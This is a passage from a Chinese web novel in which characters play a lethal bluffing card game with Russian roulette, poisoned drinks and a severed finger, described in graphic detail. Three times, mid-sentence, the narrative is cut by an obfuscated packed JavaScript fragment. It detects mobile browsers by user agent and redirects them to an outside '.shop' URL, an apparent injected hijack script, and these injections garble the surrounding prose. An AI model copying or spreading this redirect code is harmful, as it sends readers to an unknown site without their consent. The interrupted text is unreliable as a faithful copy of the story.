初与序没有立即回应,她看向金丝眼镜男,后者正假装整理袖口,但镜片后的眼睛死死盯着齐无尽。这个男人对齐无尽的敌意几乎凝成实质。 “Pass.”初与序轻声说。 男人立刻跟进,声音因为兴奋而微微发颤:“Liar!” 女人翻牌的手抖得厉害,那是一张方块A,一张黑桃A,以及一张黑桃J,即魔鬼牌。 “啊……”她发出短促的惊叫。 “撒谎成立。”调酒师的语调突然欢快起来,“请选择:俄罗斯轮盘赌,或指定血祭?” 房间里的空气瞬间凝固,初与序放在桌下的手忽然被什么东西轻轻碰了一下。她垂眸看去,齐无尽的手指放在桌下,悄悄推来一张方片Q,复制牌。 女人突然指向初与序:“她!我要她血祭!” 初与序明白了齐无尽要表达什么,平静地接过方片Q,亮出:“复制前一张牌的效果。”她看向调酒师,“按规则,魔鬼牌效果应由出牌者承担。” 调酒师遗憾地耸肩,示意女人拿起左边的俄罗斯轮盘枪。女人抖着手拿起,枪管在灯光下泛着冰冷的蓝光,弹巢旋转的声音像死神的磨刀石。 “砰!” 空枪。 女人瘫在椅子上,冷汗浸透了皮衣。她死死地盯着初与序,下唇还挂着电击时咬出的血珠,声音嘶哑:“你们…是一伙的?” 初与序没有回答,只是将方片Q轻轻放回牌堆。 “下一轮。”女人从牙缝里挤出几个字,“我会看着你怎么死。” 金丝眼镜男突然按响了指关节,他慢悠悠地拽下眼镜,用衬衫下摆擦拭镜片。随后忽然对齐无尽开口,声音温柔:“齐无尽,职业赌徒的手法很漂亮。” “但你知道赌场怎么对付老千吗?” 齐无尽正在洗牌的手指微微一顿,抬头用一种看傻子的眼神看向男人:“我是荷官,要你说?” 男人没料到齐无尽这么直接,他愣了几秒,重新戴上眼镜,镜片反光遮住了他疯狂的眼神:“你们那里无非是剁手指、扔海里喂鱼。而这里,我喜欢慢慢玩。” 调酒师适时地敲了敲吧台:“第二轮基酒准备。” 女人突然伸手,主动拿起初与序的酒杯,手指轻轻抚过杯沿,嘴角勾起一抹若有若无的冷笑。 “妹妹,这杯酒,我帮你倒。”她故意放慢语速,确保所有人都注意到她的动作。而她的眼神直勾勾盯着初与序,仿佛在说“这杯有毒,你敢喝吗?” 金丝眼镜男眯起眼睛,齐无尽则微微挑眉,但谁都没说话。 初与序看着女人,忽然勾起唇角,伸手接过酒杯,没有犹豫,仰头一饮而尽。 ——酒里根本没毒。 “你……”女人的表情瞬间凝固,她嘴唇颤抖着,显然没料到初与序会这么干脆。而初与序轻轻放下空杯,单手撑着脸颊,语气平静:“怎么?你在期待什么?” 女人脸色难看,咬牙道:“没什么。” 她本想逼初与序违规。 她很清楚,初与序在第一轮已经使了手段逃酒,接下来喝基酒时只能靠运气。按照规则,如果玩家拒绝饮酒或使用手段逃救,执行官有权直接判定其“弃权淘汰”。女人故意装出下毒的样子,就是想吓唬初与序,让她因畏惧而违规。 可她没想到,初与序根本不怕死,也有可能是看穿了她的意图。 初与序甚至都没看她一眼,只是淡淡地转向调酒师:“可以开始第二轮了吗?” 调酒师嘴角微扬,似乎对这场心理博弈很满意。 “当然。”他抬手示意,“请继续。” 齐无尽将三张牌推至桌中央,声音依旧平静:“三张Q。” 皮衣女人死死盯着那三张背面朝上的牌,嘴唇抿得发白。她最终不甘心地吐出一个词:“Pass。” 轮到初与序时,她看向自己手里的牌,随意抽出两张,放到桌面上:“一对J。” 金丝眼镜男突然坐直了身体,他的镜片反射着吊灯的光,让人看不清眼神。 “Liar!”男人猛地拍桌。 初与序伸手,缓缓翻开牌——一张黑桃J,一张红心J。 男人的脸色瞬间变得惨白。 “质疑失败。”调酒师愉悦地推过惩罚牌堆,“请这位先生抽一张。” 男人的手指颤抖着摸向牌堆,就在他即将触碰到牌面时,初与序突然轻咳一声。这个微笑的干扰让男人本能地转向声源,手指无意识地偏移了位置。 他抽到了“断指。” “不!”男人猛地后退,椅子在地板上刮出刺耳的声响。 调酒师微笑着将一把银亮的断指钳放在桌上,然后突然伸手,一把扣住金丝眼镜男的手腕,猛地按在桌面上。 “等等!”男人挣扎着,但齐无尽已经站起身,手指按住他肩膀,将他死死固定。 “需由同组执行惩罚。”调酒师看向初与序,面上带着一丝期待,“这位小姐,请动手。” 房间里一片死寂,初与序没有选择桌上的断指钳,反而抽出腰间的冰蓝短刀,刀锋在灯光下泛着冷冽的寒光。男人的瞳孔剧烈收缩,喉咙里挤出不成调的求饶声,但已经晚了。 刀光一闪! “噗嗤”一声,鲜血喷溅而出,男人的小拇指应声而断,滚落在赌桌中央。他的惨叫声撕心裂肺,身体疯狂抽搐,却被齐无尽和调酒师牢牢按住。 血溅在几人侧脸上,温热黏腻。初与序面无表情地甩了甩刀上的血,收刀入鞘。 齐无尽松开手,男人的断指处血流如注,他瘫软在椅子上,脸色惨白如纸。 调酒师满意地点点头:“惩罚执行完毕,游戏继续。” 初与序坐回座位,手指轻轻擦去脸颊上的血迹,目光扫过其余两人:女人脸色惨白,嘴唇颤抖。齐无尽依旧挂着笑,像是一切都在预料之中。 第三轮饮酒开始,调酒师将酒杯一一推至玩家面前: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16214386|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “请用。” 女人的视线不断在众人之间游走,金丝眼镜男用染血的手帕死死按在断指处,冷汗浸透了鬓角。齐无尽依旧是最先动作的那个,他端起酒杯,喝完酒液。 “咳…咳咳…”男人突然剧烈咳嗽起来,但这次没人理会他的表演。他颤抖着举起酒杯,闭眼灌了下去。 女人咬着嘴唇,猛地抓起酒杯,仰头喝干的动作带着孤注一掷的狠劲。 初与序最后举杯,冰冷的酒液滑过喉咙。快三杯下去,她没感觉到醉。 “遗憾,本轮依旧无人中奖。”调酒师收起空杯,金属托盘发出清脆的碰撞声。 房间里的空气似乎松动了一瞬,断指男人瘫坐在椅背上,劫后余生般喘着气;女人紧绷的肩膀微微放松。唯有初与序注意到,吧台下方的毒酒瓶纹丝未动。 这轮的四杯酒,从一开始就是安全的。 她微微抬眼,对上调酒师的视线。调酒师冲她笑了一下,伸出手指竖在嘴唇前。她不动神色地移开目光,什么也没有说。 “第三轮出牌,由齐先生开始。”调酒师放下手,温声开口。 齐无尽推出三张牌,皮肤上还沾染着鲜血。 “三张J。”他轻声宣布。 “Liar!”女人的声音尖锐刺耳,她猛地拍桌站起,眼中闪烁着近乎狂热的兴奋。 齐无尽抬眸看她,没有狡辩,只是缓缓将三张牌翻开——一张黑桃4,一张方片J,一张梅花8。 “撒谎成立。”调酒师微笑,目光落在齐无尽手边的俄罗斯轮盘枪上,“请接受惩罚。” 齐无尽没有犹豫,伸手拿起左轮手枪,食指扣在扳机上,动作熟练得仿佛这只是赌场里最寻常的一局。枪管抵住下巴时,他的瞳孔依旧平静,甚至带着几分兴致。 “咔——!” 空枪的声响清脆利落,他放下枪,目光扫过女人惨白的脸:“轮到你了。” 女人的手指微微发抖,却还是硬撑着甩出两张牌,声音嘶哑:“两张A。” 初与序的目光落在她指尖,那里有一丝不自然的紧绷。她在害怕,但未必在撒谎。 但初与序最终还是开口:“Liar.” 女人猛地抬头,眼中闪过一丝狰狞的笑意。她缓缓翻开牌——一张红心A,一张黑桃A。 “质疑失败,请抽取惩罚牌。”调酒师似乎对于初与序要受到惩罚这件事很愉快,他将牌堆推来,初与序面无表情伸手,从惩罚牌堆中抽出一张: “钝器击打。” 她还未放下牌,女人已经猛地抄起吧台上的金属烟灰缸,狠狠朝她太阳穴砸来! “砰!” 沉重的闷响在房间里炸开,初与序完全来不及闪避,烟灰缸边缘重重刮过她的额角,脸被砸得偏向一侧,鲜血瞬间涌出,顺着脸颊滑落,滴在赌桌的绒布上,晕开成暗红色的花。 她伸手扶住赌桌,很快稳住身形,抬手抹去血迹,全程一声没吭。 女人喘着气,握着烟灰缸的手指发白,似乎没想到初与序还能从她手下活下来。 调酒师微笑着宣布:“惩罚执行完毕,游戏继续。” 97.求求你们互相背刺吧 男人一脸懵地看着这次惩罚,一动也不敢动。而齐无尽靠在椅背上,眼底闪过一丝难以捉摸的情绪。 轮到了断指男人出牌,他的脸色惨白,断指处仍渗着血。颤抖的手指推出四张牌:“四张Q。” 齐无尽的手指在桌面上轻轻一叩,毫不犹豫道:“Liar。” 男人的呼吸骤然停滞,他被迫翻开牌。 一张黑桃Q,一张梅花3,一张方片7,一张红心J。 “撒谎成立。”调酒师声音依旧温和,“俄罗斯轮盘赌,请。” 左轮手枪被推到男人面前,弹巢在灯光下泛着冷光,两颗子弹安静地放在其中。 男人的嘴唇剧烈颤抖着,染血的手指握住枪柄。他看向初与序,看向齐无尽,最后看向皮衣女人,而女人早已别过脸去。 “砰!”一声。 枪声在密闭房间里炸响,男人的头颅猛地后仰,鲜血与脑浆喷溅在背后的墙壁上。他的身体缓缓滑落,最终像破布娃娃般瘫在椅子上。 调酒师轻轻鼓掌:“精彩的选择,游戏继续。” 他将三个酒杯一字排开,推到三人面前。初与序的手在杯沿缓缓划过,忽然抬眸看向皮衣女人。 “这杯给你。”她突然开口,声音很轻,同时将中间那杯推向女人。 女人的瞳孔骤然收缩,她死死盯着那杯酒,没有动作。 初与序从未主动递酒,这反常的举动必定有炸。 齐无尽饶有兴趣地托着下巴,目光在两人之间游移。调酒师的手指敲击着吧台,像在倒计时。 “我拒绝!”女人尖叫,“她想毒死我!这杯绝对有毒!” 调酒师遗憾地摇摇头:“拒绝饮酒者,视为违规淘汰。” 女人的脸瞬间血色尽失,她只好拿过酒杯一饮而尽,液体滑过喉咙时才惊觉,没有苦杏仁味,没有灼烧感,这只是一杯普通的威士忌。 初与序平静地端起自己那杯喝完,放下空杯,唇角微扬:“猜错了。” 女人这才反应过来,初与序根本不知道哪杯有毒,只是用心理战逼她自乱阵脚。她猛地握紧拳头,浑身发抖:“你炸我?!” 齐无尽轻笑出声,仰头饮尽自己那杯,完全没在乎有没有毒。 “该出牌了。”调酒师微笑,忽然看向女人,“但这次,由这位女士先出牌。” 女人的呼吸越来越急促,她的目光落在初与序身上,眼底翻涌着扭曲的恨意。紧接着,她甩出一张牌,声音嘶哑:“天使牌。” 初与序几乎能确定,她在撒谎,那张牌绝对不可能是天使牌。但就在她准备开口质疑时,忽然想起了什么,用余光扫向齐无尽。 齐无尽的手指在桌面轻轻一叩,不明显地转向她,眉梢极轻地一挑。 初与序重新将目光落到牌面上,这次她放弃了质疑,淡淡说道:“Pass。” 女人愣住了,显然没料到初与序会放过她。但下一秒,齐无尽已经悠然开口:“Liar。” 女人的脸色一变,慢慢翻开扑克牌,那是一张魔鬼牌。 “撒谎成立。”执行官宣布,“魔鬼牌效果触发,请选择:自行承担,或指定血祭?” 女人的嘴唇颤抖着,目光怨毒地扫过初与序和齐无尽。她猛地抬手指向初与序:“她!我要她……”可话音未落,初与序已经亮出了自己的方片Q,复制牌。 “复制前一张牌效果。”初与序的声音冷静,“魔鬼牌应由出牌者承担。” 女人猛地拍桌站起,前倾身子,望向调酒师:“我举报!初与序出千!她刚开始就使用了复制牌,现在还有一张!” 调酒师无奈摊开手:“规则没有禁止玩家出千。” 女人的表情彻底崩溃。调酒师耸耸肩,将左轮手枪推到她面前。 弹巢里还剩下最后一颗子弹。 女人颤抖着握住枪,突然癫狂地笑起来:“你们…你们早就串通好了…” 齐无尽单手支着下巴,唇角微扬:“游戏而已,别太认真。” “砰!” 枪声过后,女人的尸体缓缓滑落,鲜血顺着桌沿滴落,和之前男人的血混在一起,在地板上汇成一片暗红。初与序往旁边移了一步,避免鞋子沾到鲜血。 调酒师满意地鼓掌:“恭喜二位,成功晋级。”随后,他从吧台拿来一盒银色药箱,推给初与序,示意她处理额角的伤。 “多谢。”初与序伸手接过,取出消毒棉片,动作利落地按在额角裂开的伤口上。酒精渗入皮肉,传来刺痛。 她一边擦拭血迹,一边试图用耳骨夹的心灵链接联系冬逢初。但可能是他那边的对局还没结束,系统依旧屏蔽着信号。 齐无尽靠在吧台边,目光若有所思地落在她右耳的耳骨夹上。 “通讯器?”他忽然开口,声音里带着随意的试探,“你和冬逢初是为什么会抽到心灵链接道具的?” 初与序手指一顿,冷冷抬眸:“我和我男友的事,不劳您费心。” “可惜。”齐无尽也不恼,只是意有所指地扫了一眼地上的尸体:“我还以为,我们合作得挺愉快。” 初与序合上药箱,站起身:“合作已经结束了。”她顿了顿,手摸上腰间的短刀刀柄,“齐无尽,你在查双生武器的事?” 齐无尽眼底闪过一丝意外:“我以为你并不清楚。” “听路人提过。”初与序直视他的眼睛,“冬逢初的剑和我的刀。上次在某个副本里,有人专门针对我和他,并用你挡刀。” 齐无尽摊开手:“不是我的人。现在已经查清了,武器也已经认主,拿到也没用。” 初与序的记忆闪回到《死亡电梯》的副本里,冬逢初被神秘人重创,对方刻意利用武器共鸣,将初与序引过来,试图一箭双雕。 齐无尽是执行官,他清楚双生武器已经在《死亡电梯》副本前彻底认主,没必要再派人来偷袭。那对方只能是永冬之城玩家,也就是“屠宰场”的人。 齐无尽垂眸整理袖口:“我记得,屠宰场的二把手,专精武器鉴定。但在几周之前失踪,一周后又死亡。” 初与序轻轻颔首,没有说话。 “你难道不想知道,为什么屠宰场的人在你刚进入新手副本时,就盯上你了吗?”齐无尽语气里带着一丝探究。 初与序摇头,走向雕花大门:“我不想知道,谢谢你告诉我这些。” 景明垂和江意踏入房间时,另外两位对手已经就位。 其中一位是梳着背头的老赌徒,他的无名指戴着一枚金戒指,正不紧不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16225642|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 慢地敲击着桌面。另一位是满脸横肉的壮汉,正暴躁地掰得指关节“咔咔”作响。 房间的装潢类似于旧世纪的贵族沙龙,水晶吊灯在深红色桌布上投下斑驳光影。荷官执行官微笑着推出牌堆:“规则都清楚了吧?第一轮,顺时针发牌。” 四人的手牌在沉默中分发完毕,景明垂垂眸扫过自己的牌组——一张K,两张Q,一张天使牌,即红心A。 赌徒率先出牌,他优雅地推出两张牌,牌面朝上:“两张K。” 景明垂和江意几乎在同一时间就判断出他在撒谎。牌堆已出3张K,他不可能有两张。 “Liar。”景明垂毫不犹豫开口,声音冷冰冰的。 赌徒敲击桌面的手停顿在桌面上,没料到这么快就有人喊。荷官没有翻牌,直接微笑着推来左轮手枪,弹巢里两发实弹在灯光下泛着冷光。 赌徒没有犹豫,将枪抵在自己太阳穴下,扣下扳机。第一枪空弹的声响让他的背头散落一缕,冷汗顺着太阳穴滑下,他强撑着冷笑:“运气不错。” 江意忽然皱眉,用手捂住嘴咳嗽起来,指缝间渗出暗红。景明垂转向他,将自己的天使牌往他那边推了一点,却被壮汉的咆哮打断: “磨蹭什么!该老子出牌了!” 他的拳头砸在桌面上,甩出三张牌:“三张7!” 江意看向自己的牌面,安静地推测着壮汉手里的牌。最后,他抬眼看向壮汉:“Liar。” 壮汉的表情瞬间扭曲,猛地抓起左轮手枪,枪口对准自己的太阳穴:“老子才不怕……” “砰!” 第二枪的巨响在密闭房间里炸开,鲜血和脑浆呈放射状喷溅出来。无头尸体僵直两秒,轰然栽倒在赌桌上,手指还维持着扣扳机的姿势。 “哇哦,真是我带过的节奏最快的一局。”他弯腰捡起沾血的扑克,“两轮游戏,已经死了一个。” “第三轮,由存活玩家继续。” 赌徒的眼神变得谨慎起来,不再拿着金戒指敲击桌面。发牌后,他缓缓推出两张牌,声音平稳:“两张10。” 景明垂垂眸扫过自己的手牌,她确实没有10,无法确定赌徒是否在撒谎。而身边的江意微微摇头,示意看不透,暂时按兵不动。 她手指轻点桌面:“Pass。” 轮到江意出牌时,他推出一张黑桃3,面无改色撒谎道:“一张A。” 赌徒的眼睛微微眯起,显然在权衡是否要质疑。江意苍白的脸色和时不时咳血的虚弱模样,让他有点犹豫。 但最后还是秉着“宁可错杀不能放过”,他还是喊道:“Liar。” 荷官微笑着将左轮手枪推向江意:“撒谎成立,请开枪。” 江意面无表情接过,抵住自己的太阳穴。 “咔”一声,是空弹。 赌徒的瞳孔收缩,显然没料到江意的运气这么好。景明垂微微松了口气,继续在心中记牌。 赌徒再次出牌:“一张J。” 景明垂和江意再次pass。轮到景明垂出牌时,她推出一张牌,声音冷冽:“一张Q。” 赌徒死死盯着她的脸,试图从她的微表情中找出破绽。但景明垂的眼神平静深邃,毫无波动。他最终选择pass。 98.求求你们互相背刺吧 接下来三轮,赌徒的节奏变得异常平稳,每一轮出牌都带着精确计算的从容。 第七轮,他推出两张真实的5,平静声明“两张5”,没人质疑;第八轮,他摊开三张J:“三张J”,而江意眼神动了动,但最终沉默; 第九轮,他点了点两张牌背,微笑:“两张A。”但其实那两张牌是一张A和一张魔鬼牌。 江意在脑海中绘制出规律的折线图:三次出牌,两次真话,一次谎言。赌徒显然在用数学麻痹他们。景明垂能感觉到赌徒正冷冰地评估着他们的心理防线。 荷官擦拭着左轮手枪,忽然轻笑:“真是有趣的策略呢。” 江意抬眸,和景明垂对上视线。两人纷纷读出了对方眼里的意思。 赌博正优雅地将金戒指重新带回无名指。他缓缓将四张牌推至桌心,声音平稳:“四张J。” 景明垂的视线落在牌面上,她的脑海里迅速闪过前几轮的数据:已出J有三张,其中包括江意手中的一张。而剩余一张J在牌堆里未发,所以赌徒最多只有一张J,显然他是在赌两人还会像前几轮那样pass。 荷官饶有兴趣地观察着这一幕,左轮手枪在他手中缓慢旋转,弹巢发出“咔嗒、咔嗒”的轻响。 “Liar。” 景明垂淡淡道。 赌徒的眼睛第一次浮现出真实的惊愕,荷官已经推来左轮手枪:“请。” “有意思。”赌博缓缓举起枪,枪口抵住太阳穴,“你们比我想象的勇敢。” “砰!” 鲜血溅在赌桌中央的扑克堆上,赌徒的尸体向后仰倒,袖中的魔鬼牌滑落在地,黑桃J被血染得愈发狰狞。 荷官弯腰捡起那张魔鬼牌,吹去血珠:“看来他确实准备让你们‘血祭’呢,可惜他高估了自己的心理战术。” 江意默默推了推眼镜,镜片上溅到的血珠让视线变得模糊。景明垂拉了下衣袖,遮住手腕上的琴弦。 “恭喜二位存活,十分钟后传送至宿舍。” 另一间房间内,五张高背椅围在墨绿色赌桌周围。 随歌大咧咧往椅子上一瘫,竹扇“唰”地展开:“哎呦这椅子硌屁股!执行官!能给个靠垫吗?” “哎呀这桌子不错啊!天鹅绒的?执行官你们还挺有品味!哦忘记自我介绍了,我叫随歌,永冬之城第一帅!” 眼镜男推了推镜片,试图维持冷静:“随先生,请保持安静,我需要算牌。” 随歌一挥手:“算什么牌?直接瞎打不就行了吗?这玩意儿哪是可以计算出来的?” 房间里的四个人齐刷刷盯着他,随歌继续喋喋不休:“哎我跟你们说,这游戏规则其实很简单嘛7!不就是撒谎、质疑、然后赌命嘛?我建议咱们第一轮先来个‘三张K’诈唬一下,看看谁先沉不住气。” 暴躁老哥额头青筋直跳,拳头捏得咯吱响:“你个黄毛能不能闭嘴?!” 随歌凑过去拍了拍老哥的肩膀:“兄弟,火气别这么大,容易高血压!要不要我给你扇扇风?” “哦对了对了,你们知道魔鬼牌长啥样来着?刚刚执行官介绍时我没看。不过我听说黑桃J特帅,当然没我帅,要不咱们待会儿一起抽一张试试?” 坐在一边的沉默男人看了看随歌,又看了看一脸淡然的冬逢初,缓缓吐出一句:“……这是你队友?” 冬逢初微微一笑,温温柔柔地点头:“……嗯。” 随歌完全无视众人的死亡凝视,竹扇一展,打算继续滔滔不绝。坐在另一边的女人终于忍无可忍,猛地站起身:“执行官!能不能让他闭嘴?!” 执行官:“……” 随歌咧嘴一笑,竹扇“唰”地收起,终于往椅背上一靠:“行吧行吧,我歇会儿,你们聊。” 冬逢初垂眸:“那我们开始吧。” “开始开始!”随歌又坐起来,拍了拍桌子,“等等!这桌子是不是有点歪?我感觉牌要滑下去了!执行官!这绝对影响游戏公平!” 坐在对面的暴躁老哥恨不得给他一拳:“你他妈给我——闭!嘴!出!牌!” “好好好~”随歌笑嘻嘻地摸牌,手指却暗中在牌堆边缘一挑。竹扇展开的瞬间,一张牌滑入袖口。 “我出——”他将三张牌甩在桌上,“三张K!” 眼镜男立刻推了推眼镜:“根据概率计算,目前K的分布…” “哎呀概率都是骗人的!”随歌说着就用竹扇对着眼镜男的脸猛扇,“你看你镜片都起雾了!我帮你吹吹!” “住手!”暴躁老哥拍桌,盯着随歌,“我质疑!你绝对在耍诈!” 执行官面无表情地翻开随歌的牌——黑桃K、红心K、方片K赫然在列。 “怎么可能?!”暴躁老哥尖叫。 随歌得意地晃着脑袋:“这叫心理战术~来来来,抽一张吧兄弟~” 执行官将惩罚牌堆推来,老哥颤抖的手抽出一张牌,看清内容的瞬间脸都绿了:【饮苦瓜汁三杯。】 执行官立刻推来三大杯墨绿色的黏稠液体,随歌起哄鼓掌:“喝!喝!喝!” 暴躁老哥气得几口灌下苦瓜汁,杯子一放就抄起俄罗斯轮盘枪就要砸向随歌:“老子受够了!” “叮!” 冬逢初抬手挡住枪管。他微微侧头,看向老哥,微微笑道:“请遵守规则。” 老哥的气焰瞬间蔫了。 执行官面无表情地盯着这五人,在心里叹了口气。好好的赌命游戏,结果罕见地被他们玩成了茶话会,隔壁的还以为这里举办party呢,就是不知道系统会不会罚他…… 冬逢初修长白皙的手指轻轻抚过牌面,声音柔和:“我出两张7。” 暴躁老哥眯起眼睛,目光瞧着面前的青年。青年冷白的皮肤在惨淡的灯光下几乎透明,棕色发丝搭在额前,温润的眉眼低垂着,整个人像幅古典油画里走出来的忧郁诗人。那双浅棕色的眼睛里盛着化不开的愁绪,怎么看都是个斯斯文文、连蚂蚁都不忍心踩的老实人。 “嘶——哎?”女人忽然开口,盯着冬逢初的脸,“你这脸…我怎么感觉在其他人脸上也瞧见过?” 冬逢初还没开口,随歌突然“啪”地一拍桌子,一把揽住冬逢初的肩膀:“哎呀!被你发现了!我兄弟和初与序…就是新人玩家第一那长 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16225643|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 老好看的姑娘,他俩可是龙凤胎!一个随爹姓,一个随母亲姓!” 暴躁老哥瞪大眼睛:“哈?!” 眼镜男狐疑道:“可是我听说初与序上面还有一个哥哥和姐姐,三个孩子都姓‘初’……” “假的假的!”随歌摆摆手,装作一脸神秘,“其实是重组家庭!同父异母!不对,同母异父?哎反正就是那种你懂吧?” 冬逢初:“……” 女人还想追问,暴躁老哥已经不耐烦地拍桌:“管他娘的家庭伦理剧!还玩不玩牌了?!” “玩!当然玩!”随歌见时机到了,立刻把话题拽回来,“来来来,冬逢初出两张7到底pass不pass?” 眼镜男张了张嘴,刚想算牌,却发现自己的思路完全被随歌的家庭伦理剧带偏了。他茫然地推了推眼镜,一时竟忘了刚才要说什么,最终只好闭上嘴不语。 老哥又把目光落到冬逢初面上,小声嘟囔:“你小子看着就不像会撒谎的人……” “喂喂微!”随歌的竹扇唰地指向老哥,“你们时不时歧视老实人?我兄弟竟不能偶尔撒个谎吗?!” 老哥被吵得太阳穴突突直跳:“行行行!老子质疑!Liar!” 执行官翻开冬逢初的牌,只有一张红心7静静地躺在那里。 “你特么演我?!”暴躁老哥猛地站起来,椅子哐当倒地。 冬逢初抱歉地笑了笑,眼神纯良无害:“非常抱歉。” 执行官已经将左轮手枪推了过来,老哥颤抖着拿起枪,抵住自己太阳穴,冷汗滑下。 随着“咔”一声,是空枪。老哥整个人瘫软在椅子上,脸色煞白:“……我恨你们。” 随歌笑嘻嘻凑过去,用竹扇给他扇风:“别这么小气们~来来来,下一轮我保证不骗你!” 接下来几轮牌局,在随歌的带领下,彻底变成了深夜脱口秀现场。 “你们说盘古开天辟地的时候喝不喝草莓牛奶?”随歌甩出两张牌,顺手偷换了眼镜男的方片8,“我觉得肯定喝!不然哪来的力气专心打牌?!” 女人一边整理自己的扑克牌一边骂:“你他妈话怎么这么多?” “哎别急啊!”随歌突然转向冬逢初,“冬逢初!宇宙大爆炸是不是就像煮火锅把锅炸了那样?” 冬逢初温温柔柔地整理着牌堆:“可能吧。”手上却利落地把黑桃J塞进眼镜男的袖口。 “质疑!”暴躁老哥突然拍桌,“绝对在撒谎!” 执行官翻开牌,眼镜男袖口里真的滑出一张黑桃J。全员沉默两秒后,随歌爆发出惊天大笑:“哈哈哈哈你自己藏的牌还质疑别人?!” 执行官站在角落里,一脸无语。他已经看着这桌人从讨论外星人打麻将要不要算番数,到争论女娃捏人用的到底是橡皮泥还是糯米滋,甚至为了“如果太阳是个荷包蛋该几分熟”吵了整整十分钟。 而惩罚关节更是鸡飞狗跳:暴躁老哥连续喝五杯苦瓜汁后跑到厕所狂吐;眼镜男被电击到头发炸成蒲公英;女人玩了三次俄罗斯轮盘赌后没死开始念佛经。 但诡异的是,十几轮下来,就是没人死。 99.求求你们互相背刺吧 冬逢初轻轻叹了口气,看向随歌,朝他使了个眼色,示意他够了。随歌点点头,神秘兮兮地压低声音,手指自爱牌堆上方划了个夸张的弧线:“这一轮,我出——四张A!” 眼镜男疯狂心算:“绝对不可能!根据已出牌统计,牌堆里只剩三张A了!” 暴躁老哥眼中闪过一丝狠色:“我质疑!” 整个房间顿时安静下来,随歌慢悠悠地翻开自己的牌,只有红心A和方片A静静放在桌面上。 “哈哈哈!”老哥激动地站起来,手指发抖地指着随歌,“你小子终于完了!一整局吵死老子了!这次看你往哪逃!” 就在执行官准备递上左轮手枪时,随歌突然从袖口抽出一张牌,轻笑地甩在桌面上:“错~天使牌,抵消质疑~” 暴躁老哥的表情瞬间凝固:“你哪来的天使牌?!” 随歌眨眨眼,竹扇“唰”地展开:“第一轮藏的~没想到吧?” “执行官!”老哥气得把桌子拍得震天响,“这明显是作弊!这孙子出老千!” 站在角落里的执行官缓缓抬头:“出千有效。”他朝老哥推来惩罚牌堆,“请抽取。” 老哥的手抽向牌堆,抽出一张——【随即饮一杯酒。】 执行官推来五杯琥珀色的威士忌,在灯光下泛着诱人的光泽。随歌吹了个口哨:“哇哦~终于有点刺激的了!” “等等!”眼镜男突然拦住他,紧张道,“根据概率,至少有一杯有毒。” 暴躁老哥冷哼一声,扫了一眼随歌:“我就是要看这孙子能得意到几时。”他随手拿起最右边那杯,仰头一饮而尽。 房间里安静得可怕。 “哈!”暴躁老哥把空杯重重砸在桌上,“看到没?根本……” 他的声音突然卡住,瞳孔猛地收缩。 “哐当!”酒杯滚落在地。 他痛苦地掐住自己喉咙,脸色以肉眼可见的速度变紫。青筋像蜘蛛网般在皮肤下蔓延,嘴角渗出黑血。 随后,他重重栽倒在赌桌上,打翻的牌堆像落叶般飘散。他最后抽搐了两下,再也不动了。 “哈…”随歌轻笑一声,竹扇展开遮住下半张脸,目光盯着地上的尸体。 女人和眼镜男对视一眼,两人轻轻点了点头。而冬逢初依旧安静地靠着椅背,手指搭在牌堆上。 “下一轮。”执行官慢悠悠道,对脚边的尸体视若无睹。 现在,场上还剩下四人。女人捏着最后的手牌,嘴角勾起一抹阴毒的弧度,缓缓将一张黑底红纹的牌推到桌面上: “我出……魔鬼牌。” 面板忽然亮起,血红的【全体惩罚】字样在桌面上跳动。执行官推来四杯不明液体,杯壁挂着水珠。 “【随机饮品】,可能是果汁,也可能是即死毒药。”执行官补充。 “哎呀怕什么!”随歌一把抓起最近的杯子,“人生自古谁无死!”说完仰头灌下。 “噗——!!!” 他差点一口喷出,整张脸涨红,疯狂扇着竹扇:“辣辣辣辣辣!!!这特么是辣椒油兑二锅头?!” 冬逢初平静地端起另一杯,抿了一口:“是蜂蜜水。” 眼镜男推了推镜片,选了第三杯。刚喝下半口,突然瞳孔猛地缩小,掐着喉咙栽倒在地,口吐白沫抽搐起来。 “哈哈哈哈!”女人得意大笑,抓起最后一杯一饮而尽,“赢家当然是……呃?!”她的笑声戛然而止,指甲突然发黑,七窍渗出紫血,“不…可…能…” 随歌一边被辣的哈气一边挥手:“拜拜了您嘞~” 执行官微笑道:“恭喜二位成功晋级。” “唉~早死晚死都得死啊…”随歌伸着懒腰站起来,跟着冬逢初离场。执行官盯着三具同样口吐白沫、被毒死的尸体直发愣。 “等等!”随歌突然扒着门框探头,“执行官!能打包那杯蜂蜜水吗?我们队长意哥喜欢喝甜的!” 然后冬逢初坚定地把他拖走,并温柔地提醒如果他把蜂蜜水带回去,江意会亲自把他揍成蜂蜜水。 